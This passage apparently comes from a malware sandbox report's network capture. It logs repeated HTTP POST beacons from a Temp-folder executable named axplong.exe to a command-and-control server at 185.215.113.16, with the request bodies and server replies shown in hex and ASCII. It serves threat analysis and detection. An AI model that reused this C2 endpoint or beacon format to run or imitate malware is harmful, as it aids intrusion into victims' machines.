Jul 26, 2024 10:36:42.262895107 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:43.028522968 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:43.029427052 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:43.273643970 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:28.132266998 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:28.931302071 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	49735	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:43.392062902 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:44.245116949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:44.246121883 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:44.504781961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	49736	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:44.624347925 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:45.406029940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:45.406922102 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:45.658788919 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:28.941173077 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:29.702658892 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.6	49738	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:45.779023886 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:46.543324947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:46.546753883 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:46.797837019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:29.816658020 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:30.591564894 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.6	49739	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:46.926906109 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:47.685863018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:47.689136982 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:47.982176065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49740	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:48.091567039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:48.894479036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:48.895627975 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:49.171824932 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:30.602297068 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:31.395931005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49741	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:49.294564009 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:50.137290955 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:50.138509989 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:50.432527065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49742	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:50.546200991 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:51.310024977 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:51.310879946 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:51.561480045 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:31.736345053 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:32.503878117 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49743	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:51.694174051 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:52.470231056 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:52.471101046 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:52.720997095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49744	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:52.841268063 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:53.709928036 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:53.710943937 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:54.018640041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:32.512546062 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
